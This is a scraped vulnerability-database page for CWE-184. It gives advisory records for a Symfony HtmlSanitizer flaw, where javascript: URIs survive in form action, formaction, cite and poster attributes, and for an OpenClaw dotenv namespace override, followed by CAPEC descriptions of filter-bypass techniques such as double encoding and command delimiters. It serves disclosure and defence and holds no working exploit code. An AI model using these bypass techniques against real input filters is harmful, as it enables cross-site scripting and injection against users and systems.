`\u003cform\u003e` + `action`: `allowElement(\u0027form\u0027, \u0027*\u0027)`, `allowElement(\u0027form\u0027, [\u0027action\u0027, \u2026])`, `allowElement(\u0027form\u0027)-\u003eallowAttribute(\u0027action\u0027, \u0027form\u0027)`, or the `allowStaticElements()` preset (whose docblock already warns the output \"may still contain other dangerous behaviors\");\n* `\u003cbutton\u003e` / `\u003cinput type=image\u003e` + `formaction`: `allowElement(\u2026, \u0027*\u0027)`, `allowAttribute(\u0027formaction\u0027, \u2026)`, or `allowStaticElements()`;\n* `\u003cblockquote\u003e` / `\u003cq\u003e` / `\u003cdel\u003e` / `\u003cins\u003e` + `cite`, or `\u003cvideo\u003e` + `poster`: similarly via `\u0027*\u0027`, `allowAttribute()`, or `allowStaticElements()`.\n\nFor the `action` / `formaction` cases the victim must additionally submit the form or click the button.\n\n### Resolution\n\n`UrlAttributeSanitizer` now also handles `action`, `formaction`, `cite` and `poster`. `action` / `formaction` / `cite` are validated against the link schemes (like `\u003ca href\u003e`, so `javascript:` is rejected and `data:` is dropped too); `poster` is validated against the media schemes (so `data:` images keep working). The behaviour of `\u003ca href\u003e` and `\u003cimg src\u003e` is unchanged.\n\nOne behaviour change to be aware of: a relative `action=\"/submit\"` on an allowed `\u003cform\u003e` is now dropped by default (the same as `\u003ca href\u003e` / `\u003cimg src\u003e` today); `-\u003eallowRelativeLinks()` re-enables it.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/26a598fcfc4f903cc55ff202f642ee621839825e) for branch 6.4.\n\n### Credits\n\nSymfony would like to thank Himanshu Anand and R\u00e9mi Pelloux for reporting the issue and Nicolas Grekas for providing the fix.",
  "id": "GHSA-hhg7-c65m-h7ff",
  "modified": "2026-05-28T16:43:28Z",
  "published": "2026-05-28T16:43:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-hhg7-c65m-h7ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/26a598fcfc4f903cc55ff202f642ee621839825e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/html-sanitizer/CVE-2026-45753.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45753.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony\u0027s HtmlSanitizer UrlAttributeSanitizer Omits action/formaction/poster/cite \u2014 `javascript`: URI Survives Sanitization (XSS)"
}

GHSA-HXVM-XJVF-93F3

Vulnerability from github – Published: 2026-04-25 23:47 – Updated: 2026-05-12 13:36

Summary

OpenClaw: Workspace dotenv could override runtime-control environment variables

Details

Affected Packages / Versions

Package: openclaw (npm)
Affected versions: < 2026.4.20
Patched version: 2026.4.20

Impact

Workspace .env loading did not reserve the OPENCLAW_ runtime-control namespace broadly enough. A malicious workspace could set variables such as OPENCLAW_GIT_DIR before source-update or installer flows, potentially steering trusted OpenClaw runtime behavior.

This requires running OpenClaw from an attacker-controlled workspace. Severity is medium.

Fix

OpenClaw now reserves the workspace OPENCLAW_ environment namespace and rejects workspace dotenv entries for OpenClaw runtime-control variables.

Fix commit:

018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6

Release

Fixed in OpenClaw 2026.4.20.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.5 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:47:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nWorkspace `.env` loading did not reserve the `OPENCLAW_` runtime-control namespace broadly enough. A malicious workspace could set variables such as `OPENCLAW_GIT_DIR` before source-update or installer flows, potentially steering trusted OpenClaw runtime behavior.\n\nThis requires running OpenClaw from an attacker-controlled workspace. Severity is medium.\n\n## Fix\n\nOpenClaw now reserves the workspace `OPENCLAW_` environment namespace and rejects workspace dotenv entries for OpenClaw runtime-control variables.\n\nFix commit:\n\n- `018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
  "id": "GHSA-hxvm-xjvf-93f3",
  "modified": "2026-05-12T13:36:42Z",
  "published": "2026-04-25T23:47:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hxvm-xjvf-93f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-namespace-collision-via-workspace-dotenv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Workspace dotenv could override runtime-control environment variables"
}

Mitigation

Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list

CWE-184

Incomplete List of Disallowed Inputs

Summary

Affected versions

Privilege required

Root cause

Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)

Impact

Suggested fix

Credit

Summary

Details

PoC

Impact

Impact

Patches

Workarounds

Reporter

Description

Conditions for exploitation

Resolution

Credits

Affected Packages / Versions

Impact

Fix

Release

Mitigation

CAPEC-120: Double Encoding

CAPEC-15: Command Delimiters

CAPEC-182: Flash Injection

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

CAPEC-43: Exploiting Multiple Input Interpretation Layers

CAPEC-6: Argument Injection

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

CAPEC-73: User-Controlled Filename

CAPEC-85: AJAX Footprinting

Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)